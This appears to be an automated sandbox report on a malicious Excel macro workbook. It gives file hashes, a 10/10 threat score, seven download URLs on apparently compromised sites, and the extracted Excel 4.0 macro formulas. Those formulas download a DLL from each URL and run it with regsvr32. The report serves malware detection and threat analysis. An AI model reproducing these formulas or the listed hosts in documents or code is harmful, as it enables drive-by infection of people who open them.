General

  • Target

    d3592e74ae6782a68ae77bddb4829989f92508f3c098614c14e2ac5ef0588bec

  • Size

    30KB

  • MD5

    ba544c881abc657bdc85994cf6354e53

  • SHA1

    0d58711964549bcb18903a8592ac5ec6aafc8a6a

  • SHA256

    d3592e74ae6782a68ae77bddb4829989f92508f3c098614c14e2ac5ef0588bec

  • SHA512

    4c0c441fd4d87cd2f6efa7144e7c5fb2ae1c8c67c56fa92776805b2adc34ff2a96a8a0db59d60f21e0d2c018792efe4e024a9228f3b0209e638b44bde146d622

  • SSDEEP

    384:bwdAZPFhNjUA7icg0SCdiVAg2GKgUrNU/qWhZOdBNPJM+kqr9eCgh0k5NGE6h:sdwFhNbiH2rndFfPdkqstJNGE6h

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.ajaxmatters.com/c7g8t/hAQX/

http://acsconnection.com/wMHahVuKdttKf5doY/

http://aopda.org/wp-content/uploads/dnQjiyCcSvTbX/

http://www.seroja.edu.my/wp-includes/xL7xTYNQ/

http://intranet.fiscaltech.com.br/wp-softwares/G2DUFrG3OIV/

http://www.ifscapital.com.my/G1lIGo/

http://topadmin.topinteriors.co.in/tabler-dist/ga2l8Ioyrba/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/hAQX/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://acsconnection.com/wMHahVuKdttKf5doY/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://aopda.org/wp-content/uploads/dnQjiyCcSvTbX/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.seroja.edu.my/wp-includes/xL7xTYNQ/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://intranet.fiscaltech.com.br/wp-softwares/G2DUFrG3OIV/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ifscapital.com.my/G1lIGo/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://topadmin.topinteriors.co.in/tabler-dist/ga2l8Ioyrba/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Signatures

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

Files

  • d3592e74ae6782a68ae77bddb4829989f92508f3c098614c14e2ac5ef0588bec
    .xlsm office2007